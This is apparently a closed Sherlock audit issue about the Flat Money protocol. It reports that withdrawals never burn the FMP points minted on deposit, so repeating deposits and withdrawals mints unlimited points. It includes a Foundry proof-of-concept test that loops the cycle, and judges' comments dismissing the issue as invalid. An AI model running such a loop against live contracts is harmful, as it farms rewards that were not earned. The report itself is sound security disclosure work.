sherlock-audit / 2023-12-flatmoney-judging

11 stars 9 forks source link

joicygiore - Infinite Minting `PointsModule::FMP` #44

Closed sherlock-admin2 closed 8 months ago

sherlock-admin2 commented 8 months ago

joicygiore

medium

Infinite Minting PointsModule::FMP

Summary

Infinite Minting PointsModule::FMP

Vulnerability Detail

When DelayedOrder::_executeStableDeposit() is called, StableModule::executeDeposit() -> PointsModule::mintDeposit() will be executed to mint the corresponding amount of PointsModule::FMP.

    function executeDeposit(
        address _account,
        uint64 _executableAtTime,
        FlatcoinStructs.AnnouncedStableDeposit calldata _announcedDeposit
    ) external whenNotPaused onlyAuthorizedModule returns (uint256 _liquidityMinted) {
        <SNIP>
        // Mint points
        IPointsModule pointsModule = IPointsModule(vault.moduleAddress(FlatcoinModuleKeys._POINTS_MODULE_KEY));
@>        pointsModule.mintDeposit(_account, _announcedDeposit.depositAmount);

        emit FlatcoinEvents.Deposit(_account, depositAmount, _liquidityMinted);
    }

But StableModule::executeWithdraw() is missing burn

The attacker can invoke DelayedOrder::announceStableDeposit() and DelayedOrder::announceStableWithdraw() infinitely mint PointsModule::FMP, and ideally complete the work related to Keeper to achieve a non-consuming Minter PointsModule::FMP

POC

Please add the test file to test/unit/Delayed-Order/ and execute it

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.18;

import {Setup} from "../../helpers/Setup.sol";
import {OrderHelpers} from "../../helpers/OrderHelpers.sol";
import "forge-std/console2.sol";
import {IDelayedOrder} from "src/interfaces/IDelayedOrder.sol";
import {IOracleModule} from "src/interfaces/IOracleModule.sol";
import {IStableModule} from "src/interfaces/IStableModule.sol";
import {FlatcoinModuleKeys} from "src/libraries/FlatcoinModuleKeys.sol";
import {FlatcoinStructs} from "src/libraries/FlatcoinStructs.sol";
import {IERC20Upgradeable} from "openzeppelin-contracts-upgradeable/contracts/interfaces/IERC20Upgradeable.sol";

contract DelayedOrderInfiniteMint is Setup, OrderHelpers {
    // Infinite mint pointsToken
    function test_InfiniteMintPointsModuleToken() public {
        uint256 aliceWethBalanceBefore = WETH.balanceOf(alice);
        // mint once
        uint256 amountOfEachMint = aliceAnnounceAndExecuteOrder();
        // mint Five times
        for (uint256 i = 0; i < 5; ++i) {
            aliceAnnounceAndExecuteOrder();
        }

        uint256 aliceWethBalanceAfter = WETH.balanceOf(alice);
        console2.log(amountOfEachMint);
        assertEq(amountOfEachMint, 99999999e17);
        assertEq(aliceWethBalanceAfter, aliceWethBalanceBefore);
        assertEq(pointsModProxy.balanceOf(alice), amountOfEachMint * 6);
    }

    function aliceAnnounceAndExecuteOrder() public returns (uint256 alicePiontsToken) {
        uint256 keeperFeeAmount = mockKeeperFee.getKeeperFee();
        uint256 oraclePrice = 1800e8;
        vm.startPrank(alice);
        //////////////////
        //    Deposit  ///
        //////////////////
        WETH.increaseAllowance(address(delayedOrderProxy), WETH.balanceOf(alice));
        // call announceStableDeposit()
        IDelayedOrder(vaultProxy.moduleAddress(DELAYED_ORDER_KEY)).announceStableDeposit({
            depositAmount: WETH.balanceOf(alice) - keeperFeeAmount,
            minAmountOut: IStableModule(vaultProxy.moduleAddress(FlatcoinModuleKeys._STABLE_MODULE_KEY)).stableDepositQuote(
                WETH.balanceOf(alice) - keeperFeeAmount
                ),
            keeperFee: keeperFeeAmount
        });
        skip(uint256(vaultProxy.minExecutabilityAge())); // must reach minimum executability time
        bytes[] memory priceUpdateData = getPriceUpdateData(oraclePrice);
        // call executeOrder()
        IDelayedOrder(vaultProxy.moduleAddress(DELAYED_ORDER_KEY)).executeOrder{value: 1}(alice, priceUpdateData);
        //////////////////
        //   Withdraw  ///
        //////////////////
        // call announceStableWithdraw()
        uint256 alicelpBalance = IERC20Upgradeable(stableModProxy).balanceOf(alice);
        IDelayedOrder(vaultProxy.moduleAddress(DELAYED_ORDER_KEY)).announceStableWithdraw(
            alicelpBalance, alicelpBalance - keeperFeeAmount, keeperFeeAmount
        );
        skip(uint256(vaultProxy.minExecutabilityAge()));
        priceUpdateData = getPriceUpdateData(oraclePrice);
        // call executeOrder()
        IDelayedOrder(vaultProxy.moduleAddress(DELAYED_ORDER_KEY)).executeOrder{value: 1}(alice, priceUpdateData);
        vm.stopPrank();
        alicePiontsToken = pointsModProxy.balanceOf(alice);
    }
}

Impact

Infinite Minting PointsModule::FMP

Code Snippet

https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/DelayedOrder.sol#L496-L519 https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/StableModule.sol#L82-L86

Tool used

Manual Review

Recommendation

Consider verifying the maximum peak of tokens deposited by the user, and if the maximum peak part has already obtained the corresponding incentive token, do not call PointsModule::mintDeposit().However, this does not prevent users from receiving multiple addresses repeatedly. It is recommended to consider the use of the token comprehensively,Increase the lock-up time, and burn the corresponding token for withdrawal.

Duplicate of #187

sherlock-admin commented 8 months ago

2 comment(s) were left on this issue during the judging contest.

ubl4nk commented:

invalid -> if the points should be burnt, so what is the usage of points ?! nothing, also the traders are at risk of losing fund due to the volatile price and also their are paying keeper and trade fees by doing opening and closing the positions in addition of gas-fees.

takarez commented:

invalid: the sponsor confirm that the points is a thing of no value and that they are ok with issue related to it.